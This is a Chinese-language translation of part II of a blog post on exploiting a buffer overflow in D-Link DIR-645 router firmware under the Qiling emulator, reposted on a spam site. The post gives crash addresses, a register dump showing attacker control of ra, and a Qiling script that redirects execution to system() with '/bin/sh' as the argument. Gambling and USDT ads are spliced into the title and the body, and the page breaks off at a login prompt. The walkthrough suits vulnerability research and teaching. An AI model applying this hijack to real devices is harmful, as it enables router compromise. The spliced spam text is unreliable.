收购usdt(www.caibao.it):使用Qiling剖析Dlink DIR-645中的缓冲区溢出(part II)

admin 6天前 科技 9 0

使用Qiling剖析Dlink DIR-645中的缓冲区溢出(part II)

原文链接:https://github.com/nahueldsanchez/blogpost_qiling_dlink_2

先容

在研究学习使用qiling 框架对路由器固件举行剖析的历程中,在先知发现了有先辈搬运并翻译了这篇文章的第一部门,第二部门个人感受也是很精彩,实验翻译一下。

目录

  1. 组织exp
  2. 使系统挪用能够“事情”
  3. 组织能够在qiling框架下事情的exp
    • 领会MIPS挪用约定的事情原理
    • 使用ROP组织exp
  4. 参考资料

组织exp

通过阅读第一部门,我们在之前的步骤中确定了破绽的位置,若何去触发这个破绽以及造成他的根本原因,我们基于之前的事情,知道了程序 将会在 0x0040c594 这个地址触发溃逃,既函数hedwig_main :

...
0040c58c c4 04 b1 8f     lw         s1,param_12(sp)
0040c590 c0 04 b0 8f     lw         s0,param_11(sp)
0040c594 08 00 e0 03     jr         ra
...

我们也知道我们要笼罩客栈中的许多内存,而且我们控制了大量的寄存器:

...
[-] s0  :    0x41414141
[-] s1  :    0x41414141
[-] s2  :    0x41414141
[-] s3  :    0x41414141
[-] s4  :    0x41414141
[-] s5  :    0x41414141
[-] s6  :    0x41414141
[-] s7  :    0x41414141
[-] t8  :    0x8
[-] t9  :    0x0
[-] k0  :    0x0
[-] k1  :    0x0
[-] gp  :    0x43b6d0
[-] sp  :    0x7ff3c608
[-] s8  :    0x41414141
[-] ra  :    0x41414141
[-] status  :    0x0
[-] lo  :    0x0
[-] hi  :    0x0
[-] badvaddr    :    0x0
[-] cause   :    0x0
[-] pc  :    0x41414140
...

考虑到这种情形,我的想法是用system函数的地址笼罩返回地址,然后根据需要设置参数。我知道这是有用的,由于Metasploit中包罗的exp就是云云。

为了磨练我的假设,第一步,我决议脱节所有复杂性并模拟(simulate)这个攻击历程。我的想法是分配一些内存,把我们要执行的下令写在这里,然后通过 改变返回地址指向到 system函数以及把写有下令的内存地址加载到执行system函数所需的寄存器中。

听起来有很大的事情量,让我们来测试一下:

,

Allbet Gmaing代理

欢迎进入Allbet Gmaing代理(Allbet Game):www.aLLbetgame.us,欧博官网是欧博集团的官方网站。欧博官网开放Allbet注册、Allbe代理、Allbet电脑客户端、Allbet手机版下载等业务。

,
...
RETURN_CORRUPTED_STACK = 0x0040c594     , 在上一篇文章中通过开启调试连接到gdb获得的初始化断点
QILING_SYSTEM = 0x0041eb50              , x/10i system 获得 system function addr


def simulate_exploitation(ql):
    ql.nprint("** at simulate_exploitation **")
    cmd = ql.mem.map_anywhere(20)       , Qiling 分配20字节的块给我们并返回其地址
                                        , 我们把我们的下令写在这里


    ql.mem.string(command, "/bin/sh")   , We write our string
    ql.reg.a0 = command                 , 把 register a0 设置为我们下令的地址
    ql.reg.ra = QILING_SYSTEM           , 最后修改 $ra register
...

ql.hook_address(simulate_exploit, RETURN_CORRUPTED_STACK)   , 当运行到ret的时刻回调到 hedwig_main
ql.run()

正如你将看到的,模拟这个历程异常简朴,让我们看看发生了什么:

...
** at simulate_exploitation **
rt_sigaction(0x3, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x2, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x12, 0x7ff3c430, = 0x7ff3c450) = 0
[!] 0x77507144: syscall ql_syscall_fork number = 0xfa2(4002) not implemented
rt_sigaction(0x3, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x2, 0x7ff3c430, = 0x7ff3c450) = 0
[!] Syscall ERROR: ql_syscall_wait4 DEBUG: [Errno 10] No child processes
ChildProcessError: [Errno 10] No child processes
...

看起来似乎生效了,但感受这里发生了什么问题。我想是当我们要执行到system函数的某些时刻,system实验挪用fork syscall,但这种方式是qiling不支持的。

为了验证我的想法我做了两件事:第一,我给 system设置了一个断点,检查是否在某个时刻触发了这个断点;其次,为了更好的展示,我修改了system函数执行的下令为exit,让我们看一下又发生了什么:

def simulate_exploitation(ql):
    ...
    ql.reg.ra = QILING_EXIT           , 最后修改 $ra register

运行这个poc:

...
** at simulate_exploitation **
write(1,7756d038,114) = 0
HTTP/1.1 200 OK
Content-Type: text/xml

<hedwig><result>FAILED</result><message>no xml data.</message></hedwig>exit(4431872) = 4431872
...

好多了!如我们所见,程序通过挪用正常退出exit()。我们可以一定,行使破绽的想法是可行的!让我们起劲将模拟的转换为真实的器械。

使系统挪用能够“事情”

在阅读我在上一步中所做的事情时,我发现我直接行使exit当shellcode是一个很偷懒的行为。我应该加倍起劲地实验第一个想法去挪用系统函数。基于此,我将更深入地研究若何举行这项事情。

我的第一个想法是检查为什么收到此错误:

[!] 0x77507144: syscall ql_syscall_fork number = 0xfa2(4002) not implemented

我查看了syscall 0xfa2的类型,发现syscall 0xfa2是fork。有了这些信息,我使用了Qiling的扩展系统挪用的能力,如下所示:

MIPS_FORK_SYSCALL = 0xfa2

...

, Code copied from lib/qiling/os/posix/syscall/unistd.py:380
def hook_fork(ql, *args, **kw):
    pid = os.fork()
    if pid == 0:
        ql.os.child_processes = True
        ql.dprint (0, "[+] vfork(): is this a child process: %r" % (ql.os.child_processes))
        regreturn = 0
        if ql.os.thread_management != None:
            ql.os.thread_management.cur_thread.set_thread_log_file(ql.log_dir)
        else:
            if ql.log_split:
                _logger = ql.log_file_fd
                _logger = ql_setup_logging_file(ql.output, ql.log_file , _logger)
                _logger_name = str(len(logging.root.manager.loggerDict))
                _logger = ql_setup_logging_file(ql.output, '_'.join((ql.log_file, _logger_name)))
                ql.log_file_fd = _logger
    else:
        regreturn = pid

    if ql.os.thread_management != None:
        ql.emu_stop()
...

ql.set_syscall(MIPS_FORK_SYSCALL, hook_fork)
登录并阅读全文
申博声明:该文看法仅代表作者自己,与本平台无关。转载请注明:收购usdt(www.caibao.it):使用Qiling剖析Dlink DIR-645中的缓冲区溢出(part II)

网友评论

  • (*)

最新评论

站点信息

  • 文章总数:1981
  • 页面总数:0
  • 分类总数:8
  • 标签总数:2793
  • 评论总数:887
  • 浏览总数:386944